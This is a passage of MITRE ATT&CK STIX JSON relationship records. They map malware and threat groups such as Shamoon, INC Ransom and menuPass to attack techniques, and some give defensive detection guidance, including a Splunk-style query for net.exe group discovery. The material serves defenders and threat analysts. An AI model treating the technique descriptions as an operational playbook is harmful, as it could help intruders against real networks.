2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7f4f6eb-05b8-43af-8d8a-e06b1d950165","type":"relationship","created":"2019-03-15T18:07:25.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Shamoon Nov 2016","description":"Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"},{"source_name":"Unit 42 Shamoon3 2018","url":"https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/","description":"Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."}],"modified":"2019-04-24T23:59:16.310Z","description":"[Shamoon](https://attack.mitre.org/software/S0140) has an operational mode for encrypting data instead of overwriting it.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)","relationship_type":"uses","source_ref":"malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d7f5c7fe-5d4a-4f1e-a5a3-adf02f8699ec","created":"2022-01-11T16:04:19.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T20:35:52.662Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) has the ability to encrypt and compress its payload.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d7fde99c-0e71-4150-b2f8-94fce59dade9","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk, such as CopyFromScreen, xwd, or screencapture.(Citation: CopyFromScreen .NET)(Citation: Antiquated Mac Malware). The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CopyFromScreen .NET","description":"Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved March 24, 2020.","url":"https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8"},{"source_name":"Antiquated Mac Malware","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"}]},{"type":"relationship","id":"relationship--d80025ab-a35d-400d-b08d-9fd6f6a3ce4a","created":"2024-06-06T17:42:38.814Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:36:25.933Z","description":"\n[INC Ransom](https://attack.mitre.org/groups/G1032) has used compromised valid accounts for access to victim environments.(Citation: Cybereason INC Ransomware November 2023)(Citation: Huntress INC Ransom Group August 2023)(Citation: SOCRadar INC Ransom January 2024)(Citation: Huntress INC Ransomware May 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d80207ae-0b3c-4f5f-ac89-9caa8c2c9beb","type":"relationship","created":"2021-01-25T13:58:25.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Dtrack","url":"https://securelist.com/my-name-is-dtrack/93338/","description":"Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021."}],"modified":"2021-01-25T13:58:25.268Z","description":"[Dtrack](https://attack.mitre.org/software/S0567) packs collected data into a password protected archive.(Citation: Securelist Dtrack)","relationship_type":"uses","source_ref":"malware--f8774023-8021-4ece-9aca-383ac89d2759","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d802c2ab-4fc1-45ba-832a-1d7852d2934d","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:24:22.666Z","description":"Monitor newly executed processes that may attempt to find domain-level groups and permission settings.\n\nFor Linux, auditing frameworks that support alerting on process creation, including the audit daemon (auditd), can be used to alert on invocations of commands such as ldapsearch.\n\nFor MacOS, utilities that work in concert with Apple’s Endpoint Security Framework such as Process Monitor can be used to track usage of commands such as dscacheutil -q group.\n\nNote: Event IDs are for Sysmon (Event ID 10 - process access) and Windows Security Log (Event ID 4688 - a new process has been created). \n\nAnalytic 1 - Local Permission Group Discovery - Net\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") (Image= \"net.exe\" OR Image= \"net1.exe\") AND CommandLine=\"*group*/domain*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d809d062-9fe3-4058-b12b-56ba196a24db","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)","source_ref":"x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d80a85fa-5261-4274-b50e-bb82461562af","created":"2022-03-29T17:24:30.591Z","x_mitre_version":"1.0","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can enumerate the active Window during keylogging through execution of `GetActiveWindowTitle`.(Citation: GitHub SILENTTRINITY Modules July 2019)","modified":"2022-04-18T13:50:55.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d80bbf0c-2fb4-4272-a878-65662452d3ca","type":"relationship","created":"2019-04-16T19:00:49.591Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.","url":"https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/","source_name":"Unit42 LockerGoga 2019"}],"modified":"2020-03-20T18:56:22.144Z","description":"[LockerGoga](https://attack.mitre.org/software/S0372) has been observed moving around the victim network via SMB, indicating the actors behind this ransomware are manually copying files form computer to computer instead of self-propagating.(Citation: Unit42 LockerGoga 2019)","relationship_type":"uses","source_ref":"malware--5af7a825-2d9f-400d-931a-e00eb9e27f48","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d80c873c-922e-4c19-b84b-e5a3eb56f5b7","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d80d5ba4-22ea-4ef4-94e6-f9fbaa3ca641","type":"relationship","created":"2021-02-09T18:36:22.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Volatile Cedar March 2015","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf","description":"Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."}],"modified":"2021-02-09T18:36:22.174Z","description":"[Explosive](https://attack.mitre.org/software/S0569) has commonly set file and path attributes to hidden.(Citation: CheckPoint Volatile Cedar March 2015)","relationship_type":"uses","source_ref":"malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d80dc743-4799-4497-8708-b1324b38e3e1","created":"2024-09-17T20:02:58.817Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T18:38:25.412Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) can determine if it is running in a virtualized environment by checking the OS version, checking the number of running processes, ensuring a 64-bit application is running on a 64-bit host, and checking if the host has a valid MAC address.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d810e14a-e78b-4e65-842b-c1b7b727750a","type":"relationship","created":"2021-06-21T15:42:04.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T15:42:04.445Z","description":"(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d811c17d-5ed4-4218-b1c9-280e332e30e2","type":"relationship","created":"2021-07-27T15:05:31.308Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-08-31T17:00:18.600Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used [Tor](https://attack.mitre.org/software/S0183) and a variety of commercial VPN services to route brute force authentication attempts.(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d811dad0-a813-4293-81fc-55e8ea6a54be","type":"relationship","created":"2020-06-04T20:14:50.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"objective-see windtail2 jan 2019","url":"https://objective-see.com/blog/blog_0x3D.html","description":"Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."}],"modified":"2020-06-25T18:24:00.683Z","description":"[WindTail](https://attack.mitre.org/software/S0466) has the ability to automatically exfiltrate files using the macOS built-in utility /usr/bin/curl.(Citation: objective-see windtail2 jan 2019)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d814a304-f957-4e7c-9890-30a6d5be39bd","created":"2021-03-04T14:49:27.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Volexity Exchange Marauder March 2021","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-06T21:22:57.464Z","description":"[HAFNIUM](https://attack.mitre.org/groups/G0125) has created domain accounts.(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d81d7589-14cb-4f29-b05c-02cb01f183e4","created":"2024-05-25T16:34:23.778Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:34:23.778Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) clones .NET assemblies from other .NET binaries as well as cloning code signing certificates from other software to obfuscate the initial loader payload.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d81de27d-b64a-4a45-b3b5-7c2d5403632e","created":"2023-04-07T23:01:29.164Z","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"},{"source_name":"Trend Micro AvosLocker Apr 2022","description":"Trend Micro Research. (2022, April 4). Ransomware Spotlight AvosLocker. Retrieved January 11, 2023.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-avoslocker"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T23:01:29.164Z","description":"[AvosLocker](https://attack.mitre.org/software/S1053) can restart a compromised machine in safe mode.(Citation: Trend Micro AvosLocker Apr 2022)(Citation: Costa AvosLocker May 2022) ","relationship_type":"uses","source_ref":"malware--0945a1a5-a79a-47c8-9079-10c16cdfcb5d","target_ref":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d826904c-7853-4f85-a5e4-948b21ae374c","type":"relationship","created":"2020-05-22T20:27:31.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.","url":"https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets","source_name":"Symantec Chafer Dec 2015"}],"modified":"2020-05-22T20:27:31.551Z","description":"[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to discover information about the compromised host.(Citation: Symantec Chafer Dec 2015)","relationship_type":"uses","source_ref":"malware--a705b085-1eae-455e-8f4d-842483d814eb","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d83274f8-ac2b-4416-9fae-97f569dbcef2","created":"2022-09-30T20:21:03.201Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T19:52:48.473Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) has been injected directly into a running process, including `explorer.exe`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d8427910-3c8f-4633-966f-e1a2a8d7c31c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.169Z","description":"As part of the data reconnaissance phase, [Proxysvc](https://attack.mitre.org/software/S0238) grabs the system time to send back to the control server.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d843431d-2d98-46c8-b0dd-76427b266597","type":"relationship","created":"2021-09-21T15:45:10.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T18:46:08.906Z","description":"[Turian](https://attack.mitre.org/software/S0647) can create a remote shell and execute commands using [cmd](https://attack.mitre.org/software/S0106).(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d843c014-0814-4945-b75a-09db4ad6e81b","type":"relationship","created":"2019-09-13T13:44:32.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}],"modified":"2019-10-07T15:16:12.143Z","description":"[Machete](https://attack.mitre.org/software/S0409) collects the hostname of the target computer.(Citation: ESET Machete July 2019) ","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d844fdcc-a0d1-46b4-a4dc-f56063ef9584","type":"relationship","created":"2019-04-17T16:58:29.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DOJ APT10 Dec 2018","url":"https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion","description":"United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"modified":"2020-12-17T20:15:30.836Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) has encrypted files and information before exfiltration.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 